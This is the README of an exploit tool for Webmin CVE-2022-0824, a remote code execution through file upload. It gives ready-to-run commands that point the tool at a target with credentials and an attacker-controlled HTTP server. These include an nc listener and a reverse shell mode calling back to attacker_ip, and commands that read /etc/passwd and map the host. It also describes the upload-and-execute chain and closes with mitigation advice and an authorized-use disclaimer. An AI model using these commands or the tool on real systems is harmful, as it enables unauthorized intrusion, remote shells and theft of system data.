Webmin-CVE-2022-0824-Enhanced-Exploit

[!IMPORTANT]

Webmin CVE-2022-0824 Enhanced Exploit Tool - Supports dual modes: command execution and reverse shell

[!IMPORTANT]

An enhanced exploit tool targeting Webmin CVE-2022-0824, supporting both direct command execution and reverse shell modes.

🚀 Features

• ✅ Dual Mode Support: Command Execution Mode + Reverse Shell Mode
• ✅ Multiple Payloads: Three different payloads: Perl, Bash, Python
• ✅ Smart File Management: Automatically generates unique filenames to avoid conflicts
• ✅ Force Overwrite Upload: Automatically handles overwriting of existing files
• ✅ Multiple Upload Methods: HTTP download, direct upload, command execution creation
• ✅ Detailed Debug Information: Complete execution process logs
• ✅ User-Friendly Interface: Colorful output and clear status prompts

📋 Vulnerability Information

• CVE ID: CVE-2022-0824
• Affected Versions: Webmin < 1.990
• Vulnerability Type: Remote Code Execution via Arbitrary File Upload
• CVSS Score: 9.8 (Critical)

🛠️ Installation Requirements

# Python 3.6+
pip3 install requests urllib3

📖 Usage

Command Execution Mode (Recommended)

# Basic command execution
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"

# View system information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"

# List files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"

# View sensitive files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"

# Network information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"

Reverse Shell Mode

# 1. Start listener
nc -nlvp 9999

# 2. Execute exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999

📝 Parameter Description

Parameter	Description	Required	Example
-t, --target	Target Webmin URL	✅	http://192.168.1.100:10000/
-c, --credential	Login credentials	✅	admin:password
-LS, --py3http_server	HTTP server address	✅	192.168.1.50:8080
--shell	Command to execute	❌	"ls -la"
-L, --callback_ip	Reverse Shell callback IP	❌*	192.168.1.50
-P, --callback_port	Reverse Shell callback port	❌*	9999

*Note: Required in reverse shell mode

🎯 Usage Examples

Example 1: System Information Collection

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"

Example 2: File System Exploration

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"

Example 3: Network Configuration View

python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"

🔧 How It Works

1. Authentication: Log in to the Webmin admin interface with provided credentials
2. Payload Generation: Generate corresponding CGI scripts based on mode
3. File Upload: Upload payload via File Manager's HTTP download functionality
4. Permission Setting: Set execution permissions for the uploaded file
5. Command Execution: Access the uploaded CGI script to execute commands or establish reverse connection

🛡️ Mitigation Recommendations

• Update Webmin to the latest version (>= 1.990) promptly
• Restrict network access to the Webmin admin interface
• Use strong passwords and two-factor authentication
• Regularly audit system logs
• Deploy a Web Application Firewall (WAF)

⚠️ Disclaimer

This tool is intended only for authorized security testing and educational purposes.

• 🚫 Do not use against unauthorized systems
• 🚫 Do not use for malicious attacks
• 🚫 Users assume corresponding legal responsibility
• ✅ Only use in environments with explicit authorization
• ✅ Use for security research and vulnerability verification

📚 Technical Details

Payload Types

• Perl CGI: Primary payload, best compatibility
• Bash CGI: Backup payload, suitable for Linux systems
• Python CGI: Backup payload, most feature-rich

Upload Methods

1. HTTP Download: via Webmin File Manager's remote download feature
2. Direct Upload: via file upload interface
3. Command Creation: Create files via system commands

File Naming Strategy

• MD5 hash based on command content
• Timestamp suffix
• Ensures a different filename is used for each execution

🔄 Changelog

v5.0 (2025-08-05)

• ✨ Added command execution mode
• 🐛 Fixed file overwrite issue
• 🔧 Improved file naming strategy
• 📈 Enhanced error handling

v4.0 (Based on Original)

• 🎯 Based on original code by faisalfs10x
• 🔧 Improved CGI compatibility
• 📝 Added detailed logging

🤝 Contributing

Welcome to submit Issues and Pull Requests!

1. Fork this repository
2. Create a feature branch (git checkout -b feature/AmazingFeature)
3. Commit your changes (git commit -m 'Add some AmazingFeature')
4. Push to the branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• Original code author: @faisalfs10x
• Original project: Webmin-CVE-2022-0824-revshell
• CVE discoverer: relevant security researchers

📞 Contact

For questions or suggestions, please contact via:

• 📧 Submit a GitHub Issue
• 🐛 Report security issues privately (via DM)

---

⭐ If this project helps you, please give it a Star!

🔗 Related Links

• CVE-2022-0824 Details
• Webmin Official Website
• Original Project

requirements.txt

requests>=2.25.1
urllib3>=1.26.0